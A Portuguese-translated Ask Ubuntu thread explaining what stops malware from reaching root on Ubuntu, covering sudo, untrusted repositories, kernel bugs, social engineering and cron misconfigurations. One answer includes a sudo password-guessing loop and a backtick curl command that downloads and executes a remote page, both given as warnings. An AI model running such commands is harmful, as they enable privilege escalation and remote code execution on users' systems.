Como o sistema é mantido seguro?

24

Entendo que, se algum malware entrar no sistema Linux, ele obterá, no máximo, um privilégio no nível do usuário e arruinará qualquer coisa ao alcance do usuário, ou seja, os próprios arquivos do usuário.

Mas o que exatamente impede que os malwares obtenham acesso no nível raiz? De alguma forma, não pode decifrar a senha por dentro?

Oxwivi
fonte
Ótimas perguntas e respostas!
NlightNFotis 01/09

Respostas:

20

Esta é uma questão complexa. Existem muitas camadas diferentes de segurança em um sistema Ubuntu, desde estruturas complexas como o AppArmor até variáveis ​​humildes do kernel mmap_min_addr. Você pode adicionar alguns recursos do kernel, como randomização de memória na mistura. Você pode encontrar uma lista deles, juntamente com explicações rápidas no Ubuntu Wiki .

Outro fator importante é que as atualizações são rápidas e fáceis - portanto, a maioria dos computadores será atualizada com as últimas correções de segurança.

Até onde eu sei, um invasor que obteve acesso local ao seu computador tem três maneiras de escalar os privilégios do kernel:

  1. Quebre a senha. Mas isso vai ser realmente difícil, a senha é armazenada criptografada, usando algoritmos sem falha conhecida. Levará séculos para decifrá-lo.

  2. Bug no kernel. Mas todos os recursos de segurança do kernel atrapalham.

  3. Engane o usuário a fornecer a senha, ou seja, engenharia social. Apenas mostre um diálogo de senha falsa ou use outro truque. Essa é a maneira mais fácil de fazer isso.

O terceiro ponto é a vulnerabilidade mais fraca no momento.

Javier Rivera
fonte
5
Observe que essa "senha" é a senha de um usuário com privilégios sudo-to-root. A conta raiz está desativada por padrão. # 3 é realmente a coisa mais possível que pode acontecer. Além disso, se você instalar repositórios não confiáveis, estará entregando contas raiz gratuitas para esse repositório.
Lekensteyn
@Lekensteyn, what ?! Como a adição de repositórios não confiáveis ​​está fornecendo acesso root? A propósito, você pode querer publicá-lo como resposta. Quero que este tópico seja algum tipo de wiki da comunidade.
Oxwivi
Não existem threads no askubuntu, além dos processos do servidor. Você acabou de postar um comentário para responder à sua pergunta . Eu adicionei uma resposta com alimento para o pensamento.
Lekensteyn
@Oxwivi Quando você adiciona um PPA e instala um pacote, o pacote possui scripts de pré-instalação e pós-instalação que podem fazer o que bem entenderem. Também pode instalar um serviço para executar como root ou mexer sudoers.
Sep-- 21/09/12
15

Quebrar a senha de root não é possível, porque o Ubuntu desativou o usuário root por padrão. No entanto, se seu usuário pode se tornar root através do sudo e sua senha é fácil de adivinhar / força bruta, você possui um sistema inseguro. Exemplo de script tentando testar alguma senha:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

A adição de um repositório não confiável permite a instalação de programas desse repositório. Mesmo se você não instalar explicitamente um aplicativo como esse sudo apt-get install [app-from-repo], o repositório ainda poderá afetar outros programas, fazendo o Ubuntu acreditar que o repositório contém uma versão mais recente de um determinado programa.

O processo de atualização é executado como raiz, caso contrário, os arquivos não podem ser gravados em /usr/binou /etc. Um gatilho de instalação também é executado como root e pode executar arbitrariamente e, possivelmente, comandos prejudiciais. Agora, não se preocupe, é necessária uma ação manual para atualizar os programas e os repositórios do Ubuntu são seguros. Software de código fechado como o Windows nunca pode ser totalmente confiável, porque você não pode verificar o código malicioso da fonte, mas pode revisar a fonte do aplicativo Ubuntu se precisar (não se aplica a programas proprietários como o sun-java6Flash).

Conforme mencionado por Javier Rivera, os bugs do kernel podem levar à execução arbitrária de código, mas o software com bug também é perigoso, especialmente os setsuidbinários raiz de buggy (binários que serão executados no proprietário do arquivo, raiz) e outros programas de bugs que são executados como raiz.

Você pode criar falhas de segurança no seu sistema se não prestar atenção no que está fazendo. Por exemplo, sem entender completamente o conceito de cronjobs, você adicionou um cronjob ao /etc/cron.dailyqual executa um programa em sua pasta pessoal (por exemplo, /bin/sh /home/your-username/myscript.shse o arquivo myscript.sh for gravável por você, você poderá ser excluído por você, uma exploração poderá colocar mal intencionados. código no myscript.shqual seria executado como root (escalonamento de privilégios).

Para ficar seguro, use sua mente! Não execute comandos de fontes não confiáveis ​​se você não souber o que faz. Se alguém disser executar `curl 3221233674`com back-ticks, não. 3221233674 é outra maneira de escrever 192.0.32.10(IP de example.com). Então, seria igual a:

`curl http://example.com/`

Esses back-ticks fazem com que a saída seja executada como comandos do shell. Em inglês simples, "Faça o download da página http://example.com/ e tente executar a página baixada".

No início, você não veria algo malicioso no comando fornecido. Mas agora, você sabe que também pode ser abusado.

Sempre verifique os comandos / scripts obtidos de fontes não confiáveis, como a Internet.

Lekensteyn
fonte
1
Obrigado pela resposta, espero que você não tenha se importado com minhas edições. Anote minhas edições para melhorar seu inglês.
Oxwivi
2
Nah, eu não me importo. Cada melhoria é bem-vinda :)
Lekensteyn
Independentemente disso, este é um excelente post, os pontos que você mencionou devem ser observados!
Oxwivi